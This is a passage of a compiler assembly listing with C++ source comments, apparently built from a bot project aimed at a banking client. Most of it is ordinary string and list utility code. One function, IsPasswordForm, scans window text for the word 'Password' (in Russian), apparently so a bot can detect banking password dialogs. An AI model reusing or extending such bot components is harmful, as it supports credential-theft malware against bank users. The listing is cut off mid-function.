  0002f	8b c7		 mov	 eax, edi
$LN6@CreateFrom:
; 466  : 	TChar* Result = Alloc<TChar>(ResSize);
  00031	50		 push	 eax
  00032	e8 00 00 00 00	 call	 ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc<char>
  00037	8b f0		 mov	 esi, eax
  00039	59		 pop	 ecx
; 467  : 	if (Result)
  0003a	85 f6		 test	 esi, esi
  0003c	74 10		 je	 SHORT $LN1@CreateFrom
; 468  : 	{
; 469  : 		// 
; 470  : 		m_memcpy(Result, Str, StrLen * sizeof(TChar));
  0003e	57		 push	 edi
  0003f	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00042	56		 push	 esi
  00043	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
  00048	83 c4 0c	 add	 esp, 12			; 0000000cH
; 471  : 		GetRec(Result).Length = StrLen;
  0004b	89 7e f8	 mov	 DWORD PTR [esi-8], edi
$LN1@CreateFrom:
  0004e	5f		 pop	 edi
; 472  : 	}
; 473  : 	return Result;
  0004f	8b c6		 mov	 eax, esi
  00051	5e		 pop	 esi
; 474  : }
  00052	5d		 pop	 ebp
  00053	c3		 ret	 0
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ENDP		; STRBUF::CreateFromStr<char>
_TEXT	ENDS
PUBLIC	??$AddRef@D@STRBUF@@YAPADPAD@Z			; STRBUF::AddRef<char>
; Function compile flags: /Ogspy
;	COMDAT ??$AddRef@D@STRBUF@@YAPADPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$AddRef@D@STRBUF@@YAPADPAD@Z PROC			; STRBUF::AddRef<char>, COMDAT
; 417  : 	// 
; 418  : 	if (Str)
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 03		 je	 SHORT $LN1@AddRef
; 419  : 		GetRec(Str).RefCount++;
  00008	ff 40 fc	 inc	 DWORD PTR [eax-4]
$LN1@AddRef:
; 420  : 	return Str;
; 421  : }
  0000b	c3		 ret	 0
??$AddRef@D@STRBUF@@YAPADPAD@Z ENDP			; STRBUF::AddRef<char>
_TEXT	ENDS
PUBLIC	??$Release@D@STRBUF@@YAXAAPAD@Z			; STRBUF::Release<char>
EXTRN	?Free@HEAP@@YAXPAX@Z:PROC			; HEAP::Free
; Function compile flags: /Ogspy
;	COMDAT ??$Release@D@STRBUF@@YAXAAPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$Release@D@STRBUF@@YAXAAPAD@Z PROC			; STRBUF::Release<char>, COMDAT
; 401  : {
  00000	56		 push	 esi
; 402  : 	// 
; 403  : 	if (Str)
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _Str$[esp]
  00005	8b 06		 mov	 eax, DWORD PTR [esi]
  00007	85 c0		 test	 eax, eax
  00009	74 12		 je	 SHORT $LN2@Release
; 404  : 	{
; 405  : 		TStrRec &R = GetRec(Str);
  0000b	83 c0 f4	 add	 eax, -12		; fffffff4H
; 406  : 		R.RefCount--;
  0000e	ff 48 08	 dec	 DWORD PTR [eax+8]
; 407  : 		if (R.RefCount == 0)
  00011	75 07		 jne	 SHORT $LN1@Release
; 408  :             HEAP::Free(&R);
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ?Free@HEAP@@YAXPAX@Z	; HEAP::Free
  00019	59		 pop	 ecx
$LN1@Release:
; 409  :         Str = NULL;
  0001a	83 26 00	 and	 DWORD PTR [esi], 0
$LN2@Release:
  0001d	5e		 pop	 esi
; 410  :     }
; 411  : }
  0001e	c3		 ret	 0
??$Release@D@STRBUF@@YAXAAPAD@Z ENDP			; STRBUF::Release<char>
_TEXT	ENDS
PUBLIC	??$Length@D@STRBUF@@YAKPAD@Z			; STRBUF::Length<char>
; Function compile flags: /Ogspy
;	COMDAT ??$Length@D@STRBUF@@YAKPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$Length@D@STRBUF@@YAKPAD@Z PROC			; STRBUF::Length<char>, COMDAT
; 451  : 	return (Str)? GetRec(Str).Length : 0;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 04		 je	 SHORT $LN3@Length@2
  00008	8b 40 f8	 mov	 eax, DWORD PTR [eax-8]
; 452  : }
  0000b	c3		 ret	 0
$LN3@Length@2:
; 451  : 	return (Str)? GetRec(Str).Length : 0;
  0000c	33 c0		 xor	 eax, eax
; 452  : }
  0000e	c3		 ret	 0
??$Length@D@STRBUF@@YAKPAD@Z ENDP			; STRBUF::Length<char>
_TEXT	ENDS
PUBLIC	?Hash@?$STRUTILS@D@@SAKPBD@Z			; STRUTILS<char>::Hash
; Function compile flags: /Ogspy
;	COMDAT ?Hash@?$STRUTILS@D@@SAKPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?Hash@?$STRUTILS@D@@SAKPBD@Z PROC			; STRUTILS<char>::Hash, COMDAT
; 310  :     return Hash(Str, 0, false);
  00000	6a 00		 push	 0
  00002	6a 00		 push	 0
  00004	ff 74 24 0c	 push	 DWORD PTR _Str$[esp+4]
  00008	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
  0000d	83 c4 0c	 add	 esp, 12			; 0000000cH
; 311  : }
  00010	c3		 ret	 0
?Hash@?$STRUTILS@D@@SAKPBD@Z ENDP			; STRUTILS<char>::Hash
_TEXT	ENDS
PUBLIC	??$Append@D@STRBUF@@YAXAAPADPBDK@Z		; STRBUF::Append<char>
; Function compile flags: /Ogspy
;	COMDAT ??$Append@D@STRBUF@@YAXAAPADPBDK@Z
_TEXT	SEGMENT
_Tmp$70614 = -4						; size = 4
_Dst$ = 8						; size = 4
_Src$ = 12						; size = 4
_SrcLen$ = 16						; size = 4
??$Append@D@STRBUF@@YAXAAPADPBDK@Z PROC			; STRBUF::Append<char>, COMDAT
; 479  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
; 480  : 	// 
; 481  : 	if (STRUTILS<TChar>::IsEmpty(Src))
  00004	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00007	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0000c	59		 pop	 ecx
  0000d	84 c0		 test	 al, al
  0000f	0f 85 84 00 00
	00		 jne	 $LN1@Append
  00015	57		 push	 edi
; 482  : 		return;
; 483  : 
; 484  : 
; 485  : 	if (SrcLen == 0)
  00016	33 ff		 xor	 edi, edi
  00018	39 7d 10	 cmp	 DWORD PTR _SrcLen$[ebp], edi
  0001b	75 0c		 jne	 SHORT $LN6@Append
; 486  : 		SrcLen = STRUTILS<TChar>::Length(Src);
  0001d	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00020	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00025	59		 pop	 ecx
  00026	89 45 10	 mov	 DWORD PTR _SrcLen$[ebp], eax
$LN6@Append:
  00029	56		 push	 esi
; 487  : 
; 488  : 	if (Dst == NULL)
  0002a	8b 75 08	 mov	 esi, DWORD PTR _Dst$[ebp]
  0002d	8b 06		 mov	 eax, DWORD PTR [esi]
  0002f	3b c7		 cmp	 eax, edi
  00031	75 13		 jne	 SHORT $LN5@Append
; 489  : 	{
; 490  :     	// 
; 491  : 		Dst = CreateFromStr<TChar>(Src, SrcLen, 0);
  00033	57		 push	 edi
  00034	ff 75 10	 push	 DWORD PTR _SrcLen$[ebp]
  00037	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  0003a	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  0003f	83 c4 0c	 add	 esp, 12			; 0000000cH
  00042	89 06		 mov	 DWORD PTR [esi], eax
; 492  : 	}
; 493  : 	else
  00044	eb 51		 jmp	 SHORT $LN15@Append
$LN5@Append:
; 494  : 	{
; 495  : 		// 
; 496  : 		TStrRec &R = GetRec(Dst);
; 497  : 		TChar* Tmp = NULL;
; 498  : 		DWORD DstLen = R.Length;
; 499  : 		DWORD TotalLen = SrcLen + DstLen;
  00046	8b 4d 10	 mov	 ecx, DWORD PTR _SrcLen$[ebp]
  00049	53		 push	 ebx
  0004a	8b 58 f8	 mov	 ebx, DWORD PTR [eax-8]
  0004d	89 7d fc	 mov	 DWORD PTR _Tmp$70614[ebp], edi
  00050	8d 3c 0b	 lea	 edi, DWORD PTR [ebx+ecx]
; 500  : 		if (R.Size < TotalLen || R.RefCount > 1)
  00053	39 78 f4	 cmp	 DWORD PTR [eax-12], edi
  00056	72 06		 jb	 SHORT $LN2@Append
  00058	83 78 fc 01	 cmp	 DWORD PTR [eax-4], 1
  0005c	76 10		 jbe	 SHORT $LN3@Append
$LN2@Append:
; 501  : 		{
; 502  :         	Tmp = Dst;
; 503  : 			Dst = CreateFromStr<TChar>(Tmp, DstLen, TotalLen);
  0005e	57		 push	 edi
  0005f	53		 push	 ebx
  00060	50		 push	 eax
  00061	89 45 fc	 mov	 DWORD PTR _Tmp$70614[ebp], eax
  00064	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00069	83 c4 0c	 add	 esp, 12			; 0000000cH
  0006c	89 06		 mov	 DWORD PTR [esi], eax
$LN3@Append:
; 504  :         }
; 505  : 		m_memcpy(Dst + DstLen, Src, SrcLen * sizeof(TChar));
  0006e	ff 75 10	 push	 DWORD PTR _SrcLen$[ebp]
  00071	8b 06		 mov	 eax, DWORD PTR [esi]
  00073	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00076	03 c3		 add	 eax, ebx
  00078	50		 push	 eax
  00079	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 506  : 		GetRec(Dst).Length = TotalLen;
  0007e	8b 06		 mov	 eax, DWORD PTR [esi]
  00080	83 c4 0c	 add	 esp, 12			; 0000000cH
; 507  : 
; 508  : 		if (Tmp)
  00083	83 7d fc 00	 cmp	 DWORD PTR _Tmp$70614[ebp], 0
  00087	89 78 f8	 mov	 DWORD PTR [eax-8], edi
  0008a	5b		 pop	 ebx
  0008b	74 0a		 je	 SHORT $LN15@Append
; 509  : 			Release<TChar>(Tmp);
  0008d	8d 45 fc	 lea	 eax, DWORD PTR _Tmp$70614[ebp]
  00090	50		 push	 eax
  00091	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00096	59		 pop	 ecx
$LN15@Append:
  00097	5e		 pop	 esi
  00098	5f		 pop	 edi
$LN1@Append:
; 510  :     }
; 511  : }
  00099	c9		 leave
  0009a	c3		 ret	 0
??$Append@D@STRBUF@@YAXAAPADPBDK@Z ENDP			; STRBUF::Append<char>
_TEXT	ENDS
PUBLIC	?UpdateCapacity@?$TListTemplate@PAX@@AAE_NXZ	; TListTemplate<void *>::UpdateCapacity
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\listtemplate.cpp
;	COMDAT ?UpdateCapacity@?$TListTemplate@PAX@@AAE_NXZ
_TEXT	SEGMENT
?UpdateCapacity@?$TListTemplate@PAX@@AAE_NXZ PROC	; TListTemplate<void *>::UpdateCapacity, COMDAT
; _this$ = ecx
; 163  : {
  00000	56		 push	 esi
; 164  : 	// 
; 165  : 	DWORD Delta;
; 166  : 	if (FCapacity > 64)
  00001	8b 71 08	 mov	 esi, DWORD PTR [ecx+8]
  00004	83 fe 40	 cmp	 esi, 64			; 00000040H
  00007	7e 0d		 jle	 SHORT $LN4@UpdateCapa
; 167  : 		Delta = FCapacity / 4;
  00009	8b c6		 mov	 eax, esi
  0000b	99		 cdq
  0000c	83 e2 03	 and	 edx, 3
  0000f	03 c2		 add	 eax, edx
  00011	c1 f8 02	 sar	 eax, 2
; 168  : 	else
  00014	eb 0f		 jmp	 SHORT $LN2@UpdateCapa
$LN4@UpdateCapa:
; 169  : 	if (FCapacity > 8)
  00016	33 c0		 xor	 eax, eax
  00018	83 fe 08	 cmp	 esi, 8
  0001b	0f 9e c0	 setle	 al
  0001e	48		 dec	 eax
  0001f	83 e0 0c	 and	 eax, 12			; 0000000cH
  00022	83 c0 04	 add	 eax, 4
$LN2@UpdateCapa:
; 170  : 		Delta = 16;
; 171  : 	else
; 172  : 		Delta = 4;
; 173  : 
; 174  : 	return SetCapacity(FCapacity + Delta);
  00025	03 f0		 add	 esi, eax
  00027	56		 push	 esi
  00028	e8 00 00 00 00	 call	 ?SetCapacity@?$TListTemplate@PAX@@QAE_NH@Z ; TListTemplate<void *>::SetCapacity
  0002d	5e		 pop	 esi
; 175  : }
  0002e	c3		 ret	 0
?UpdateCapacity@?$TListTemplate@PAX@@AAE_NXZ ENDP	; TListTemplate<void *>::UpdateCapacity
_TEXT	ENDS
PUBLIC	??_C@_06CNKICDMH@?O?$OA?p?n?k?$PM?$AA@		; `string'
PUBLIC	?IsPasswordForm@TBSSPasswordForm@@SA_NPAVTBSSClicker@@PAUHWND__@@ABV?$TString@D@@@Z ; TBSSPasswordForm::IsPasswordForm
;	COMDAT ??_C@_06CNKICDMH@?O?$OA?p?n?k?$PM?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_06CNKICDMH@?O?$OA?p?n?k?$PM?$AA@ DB 0cfH, 0e0H, 0f0H, 0eeH, 0ebH, 0fcH
	DB	00H						; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	ENDS
;	COMDAT ?IsPasswordForm@TBSSPasswordForm@@SA_NPAVTBSSClicker@@PAUHWND__@@ABV?$TString@D@@@Z
_TEXT	SEGMENT
_Clicker$ = 8						; size = 4
_WND$ = 12						; size = 4
_Text$ = 16						; size = 4
?IsPasswordForm@TBSSPasswordForm@@SA_NPAVTBSSClicker@@PAUHWND__@@ABV?$TString@D@@@Z PROC ; TBSSPasswordForm::IsPasswordForm, COMDAT
; 619  : 		// 
; 620  : 		if (((TBotCollection*)Clicker)->Count() == 0)
  00000	8b 4c 24 04	 mov	 ecx, DWORD PTR _Clicker$[esp-4]
  00004	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00009	85 c0		 test	 eax, eax
  0000b	75 03		 jne	 SHORT $LN1@IsPassword
; 621  : 			return false;
  0000d	32 c0		 xor	 al, al
; 626  : 
; 627  : 		/* TODO :
; 628  : 		
; 629  : 		
; 630  :     }
  0000f	c3		 ret	 0
$LN1@IsPassword:
; 622  : 
; 623  : 		// 
; 624  : 		// 
; 625  : 		return Text.Pos("
") >= 0;
  00010	8b 44 24 0c	 mov	 eax, DWORD PTR _Text$[esp-4]
  00014	68 00 00 00 00	 push	 OFFSET ??_C@_06CNKICDMH@?O?$OA?p?n?k?$PM?$AA@
  00019	ff 70 04	 push	 DWORD PTR [eax+4]
  0001c	e8 00 00 00 00	 call	 ?Pos@?$STRUTILS@D@@SAHPBD0@Z ; STRUTILS<char>::Pos
  00021	59		 pop	 ecx
  00022	59		 pop	 ecx
  00023	33 c9		 xor	 ecx, ecx
  00025	85 c0		 test	 eax, eax
  00027	0f 9d c1	 setge	 cl
  0002a	8a c1		 mov	 al, cl
; 626  : 
; 627  : 		/* TODO :
; 628  : 		
; 629  : 		
; 630  :     }
  0002c	c3		 ret	 0
?IsPasswordForm@TBSSPasswordForm@@SA_NPAVTBSSClicker@@PAUHWND__@@ABV?$TString@D@@@Z ENDP ; TBSSPasswordForm::IsPasswordForm
_TEXT	ENDS
PUBLIC	??0?$TString@D@@QAE@PBD@Z			; TString<char>::TString<char>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ??0?$TString@D@@QAE@PBD@Z
_TEXT	SEGMENT
_Src$ = 8						; size = 4
??0?$TString@D@@QAE@PBD@Z PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 666  : {
  00000	56		 push	 esi
; 667  : 	Data = STRBUF::CreateFromStr<TChar>(Src, 0, 0);
  00001	6a 00		 push	 0
  00003	6a 00		 push	 0
  00005	ff 74 24 10	 push	 DWORD PTR _Src$[esp+8]
  00009	8b f1		 mov	 esi, ecx
  0000b	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  00011	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00016	89 46 04	 mov	 DWORD PTR [esi+4], eax
  00019	83 c4 0c	 add	 esp, 12			; 0000000cH
; 668  : }
  0001c	8b c6		 mov	 eax, esi
  0001e	5e		 pop	 esi
  0001f	c2 04 00	 ret	 4
??0?$TString@D@@QAE@PBD@Z ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??0?$TString@D@@QAE@ABV0@@Z			; TString<char>::TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??0?$TString@D@@QAE@ABV0@@Z
_TEXT	SEGMENT
_src$ = 8						; size = 4
??0?$TString@D@@QAE@ABV0@@Z PROC			; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 661  : 	Data = STRBUF::AddRef<TChar>(src.Data);
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _src$[esp-4]
  00004	56		 push	 esi
  00005	8b f1		 mov	 esi, ecx
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	ff 70 04	 push	 DWORD PTR [eax+4]
  00010	e8 00 00 00 00	 call	 ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef<char>
  00015	89 46 04	 mov	 DWORD PTR [esi+4], eax
  00018	59		 pop	 ecx
; 662  : }
  00019	8b c6		 mov	 eax, esi
  0001b	5e		 pop	 esi
  0001c	c2 04 00	 ret	 4
??0?$TString@D@@QAE@ABV0@@Z ENDP			; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??1?$TString@D@@UAE@XZ				; TString<char>::~TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??1?$TString@D@@UAE@XZ
_TEXT	SEGMENT
??1?$TString@D@@UAE@XZ PROC				; TString<char>::~TString<char>, COMDAT
; _this$ = ecx
; 676  : {
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 677  : 	STRBUF::Release<TChar>(Data);
  00003	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00006	50		 push	 eax
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00012	59		 pop	 ecx
; 678  : }
  00013	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  00019	5e		 pop	 esi
  0001a	c3		 ret	 0
??1?$TString@D@@UAE@XZ ENDP				; TString<char>::~TString<char>
_TEXT	ENDS
PUBLIC	?Length@?$TString@D@@QBEKXZ			; TString<char>::Length
; Function compile flags: /Ogspy
;	COMDAT ?Length@?$TString@D@@QBEKXZ
_TEXT	SEGMENT
?Length@?$TString@D@@QBEKXZ PROC			; TString<char>::Length, COMDAT
; _this$ = ecx
; 683  : 	return  STRBUF::Length<TChar>(Data);
  00000	ff 71 04	 push	 DWORD PTR [ecx+4]
  00003	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00008	59		 pop	 ecx
; 684  : }
  00009	c3		 ret	 0
?Length@?$TString@D@@QBEKXZ ENDP			; TString<char>::Length
_TEXT	ENDS
PUBLIC	?Format@?$TString@D@@QAAAAV1@PBDZZ		; TString<char>::Format
; Function compile flags: /Ogspy
;	COMDAT ?Format@?$TString@D@@QAAAAV1@PBDZZ
_TEXT	SEGMENT
_Tmp$ = -8						; size = 8
_this$ = 8						; size = 4
_FormatLine$ = 12					; size = 4
?Format@?$TString@D@@QAAAAV1@PBDZZ PROC			; TString<char>::Format, COMDAT
; 838  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	53		 push	 ebx
  00006	56		 push	 esi
; 839  : 	// 
; 840  : 	STRBUF::Release<TChar>(Data);
  00007	8b 75 08	 mov	 esi, DWORD PTR _this$[ebp]
  0000a	57		 push	 edi
  0000b	83 c6 04	 add	 esi, 4
  0000e	56		 push	 esi
  0000f	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
; 841  : 
; 842  : 	// 
; 843  : 	// 
; 844  : 	// 
; 845  : 
; 846  : 	// 
; 847  : 	TString<TChar> Tmp(1024);
  00014	8d 4d f8	 lea	 ecx, DWORD PTR _Tmp$[ebp]
  00017	c7 04 24 00 04
	00 00		 mov	 DWORD PTR [esp], 1024	; 00000400H
  0001e	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@K@Z	; TString<char>::TString<char>
; 848  : 
; 849  : 	va_list paramList;
; 850  : 	va_start(paramList, FormatLine);
; 851  : 
; 852  : 	int Sz = (sizeof(TChar) == 1) ? (int)pwvsprintfA(Tmp.t_str(), FormatLine, paramList) :
; 853  :                                     (int)pwvsprintfW(Tmp.t_str(), FormatLine, paramList);
  00023	8b 7d fc	 mov	 edi, DWORD PTR _Tmp$[ebp+4]
  00026	bb 00 00 00 00	 mov	 ebx, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  0002b	8b c7		 mov	 eax, edi
  0002d	85 ff		 test	 edi, edi
  0002f	75 02		 jne	 SHORT $LN8@Format
  00031	8b c3		 mov	 eax, ebx
$LN8@Format:
  00033	8d 4d 10	 lea	 ecx, DWORD PTR _FormatLine$[ebp+4]
  00036	51		 push	 ecx
  00037	ff 75 0c	 push	 DWORD PTR _FormatLine$[ebp]
  0003a	50		 push	 eax
  0003b	e8 00 00 00 00	 call	 ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ; pushargEx<3,1799024876,346,char *,char const *,char *>
  00040	83 c4 0c	 add	 esp, 12			; 0000000cH
; 854  : 	va_end(paramList);
; 855  : 
; 856  : 	Data = STRBUF::CreateFromStr<TChar>(Tmp.t_str(), Sz, 0);
  00043	85 ff		 test	 edi, edi
  00045	75 02		 jne	 SHORT $LN16@Format
  00047	8b fb		 mov	 edi, ebx
$LN16@Format:
  00049	6a 00		 push	 0
  0004b	50		 push	 eax
  0004c	57		 push	 edi
  0004d	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00052	83 c4 0c	 add	 esp, 12			; 0000000cH
; 857  : 
; 858  : 	return *this;
  00055	8d 4d f8	 lea	 ecx, DWORD PTR _Tmp$[ebp]
  00058	89 06		 mov	 DWORD PTR [esi], eax
  0005a	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0005f	8b 45 08	 mov	 eax, DWORD PTR _this$[ebp]
  00062	5f		 pop	 edi
  00063	5e		 pop	 esi
  00064	5b		 pop	 ebx
; 859  : }
  00065	c9		 leave
  00066	c3		 ret	 0
?Format@?$TString@D@@QAAAAV1@PBDZZ ENDP			; TString<char>::Format
_TEXT	ENDS
PUBLIC	?Hash@?$TString@D@@QAEKXZ			; TString<char>::Hash
; Function compile flags: /Ogspy
;	COMDAT ?Hash@?$TString@D@@QAEKXZ
_TEXT	SEGMENT
?Hash@?$TString@D@@QAEKXZ PROC				; TString<char>::Hash, COMDAT
; _this$ = ecx
; 749  : 	return STRUTILS<TChar>::Hash(Data);
  00000	6a 00		 push	 0
  00002	6a 00		 push	 0
  00004	ff 71 04	 push	 DWORD PTR [ecx+4]
  00007	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
  0000c	83 c4 0c	 add	 esp, 12			; 0000000cH
; 750  : }
  0000f	c3		 ret	 0
?Hash@?$TString@D@@QAEKXZ ENDP				; TString<char>::Hash
_TEXT	ENDS
PUBLIC	??4?$TString@D@@QAEAAV0@PBD@Z			; TString<char>::operator=
; Function compile flags: /Ogspy
;	COMDAT ??4?$TString@D@@QAEAAV0@PBD@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??4?$TString@D@@QAEAAV0@PBD@Z PROC			; TString<char>::operator=, COMDAT
; _this$ = ecx
; 914  : {
  00000	56		 push	 esi
  00001	57		 push	 edi
  00002	8b f9		 mov	 edi, ecx
; 915  : 	STRBUF::Release<TChar>(Data);
  00004	8d 77 04	 lea	 esi, DWORD PTR [edi+4]
  00007	56		 push	 esi
  00008	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
; 916  : 	Data = STRBUF::CreateFromStr<TChar>(Source, 0, 0);
  0000d	6a 00		 push	 0
  0000f	6a 00		 push	 0
  00011	ff 74 24 18	 push	 DWORD PTR _Source$[esp+16]
  00015	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  0001a	83 c4 10	 add	 esp, 16			; 00000010H
  0001d	89 06		 mov	 DWORD PTR [esi], eax
; 917  : 	return *this;
  0001f	8b c7		 mov	 eax, edi
  00021	5f		 pop	 edi
  00022	5e		 pop	 esi
; 918  : }
  00023	c2 04 00	 ret	 4
??4?$TString@D@@QAEAAV0@PBD@Z ENDP			; TString<char>::operator=
_TEXT	ENDS
PUBLIC	??Y?$TString@D@@QAEAAV0@PBD@Z			; TString<char>::operator+=
; Function compile flags: /Ogspy
;	COMDAT ??Y?$TString@D@@QAEAAV0@PBD@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??Y?$TString@D@@QAEAAV0@PBD@Z PROC			; TString<char>::operator+=, COMDAT
; _this$ = ecx
; 929  : 	if (Source)
  00000	83 7c 24 04 00	 cmp	 DWORD PTR _Source$[esp-4], 0
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	74 12		 je	 SHORT $LN1@operator
; 930  :     	STRBUF::Append<TChar>(Data, Source, 0);
  0000a	6a 00		 push	 0
  0000c	ff 74 24 0c	 push	 DWORD PTR _Source$[esp+4]
  00010	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append<char>
  00019	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN1@operator:
; 931  : 	return *this;
  0001c	8b c6		 mov	 eax, esi
  0001e	5e		 pop	 esi
; 932  : }
  0001f	c2 04 00	 ret	 4
??Y?$TString@D@@QAEAAV0@PBD@Z ENDP			; TString<char>::operator+=
_TEXT	ENDS
PUBLIC	??Y?$TString@D@@QAEAAV0@ABV0@@Z			; TString<char>::operator+=
; Function compile flags: /Ogspy
;	COMDAT ??Y?$TString@D@@QAEAAV0@ABV0@@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??Y?$TString@D@@QAEAAV0@ABV0@@Z PROC			; TString<char>::operator+=, COMDAT
; _this$ = ecx
; 922  : 	if (Source.Data)
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Source$[esp-4]
  00004	56		 push	 esi
  00005	8b 70 04	 mov	 esi, DWORD PTR [eax+4]
  00008	57		 push	 edi
  00009	8b f9		 mov	 edi, ecx
  0000b	85 f6		 test	 esi, esi
  0000d	74 14		 je	 SHORT $LN1@operator@2
; 923  : 		STRBUF::Append<TChar>(Data, Source.Data, Source.Length());
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00015	50		 push	 eax
  00016	8d 47 04	 lea	 eax, DWORD PTR [edi+4]
  00019	56		 push	 esi
  0001a	50		 push	 eax
  0001b	e8 00 00 00 00	 call	 ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append<char>
  00020	83 c4 10	 add	 esp, 16			; 00000010H
$LN1@operator@2:
; 924  : 	return *this;
  00023	8b c7		 mov	 eax, edi
  00025	5f		 pop	 edi
  00026	5e		 pop	 esi
; 925  : }
  00027	c2 04 00	 ret	 4
??Y?$TString@D@@QAEAAV0@ABV0@@Z ENDP			; TString<char>::operator+=
_TEXT	ENDS
PUBLIC	??H?$TString@D@@QAE?AV0@PBD@Z			; TString<char>::operator+
; Function compile flags: /Ogspy
;	COMDAT ??H?$TString@D@@QAE?AV0@PBD@Z
_TEXT	SEGMENT
___$ReturnUdt$ = 8					; size = 4
_Source$ = 12						; size = 4
??H?$TString@D@@QAE?AV0@PBD@Z PROC			; TString<char>::operator+, COMDAT
; _this$ = ecx
; 943  : 	TString<TChar> Temp(*this);
  00000	51		 push	 ecx
  00001	8b 4c 24 08	 mov	 ecx, DWORD PTR ___$ReturnUdt$[esp]
  00005	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@ABV0@@Z ; TString<char>::TString<char>
; 944  : 	Temp += Source;
  0000a	ff 74 24 08	 push	 DWORD PTR _Source$[esp-4]
  0000e	8b 4c 24 08	 mov	 ecx, DWORD PTR ___$ReturnUdt$[esp]
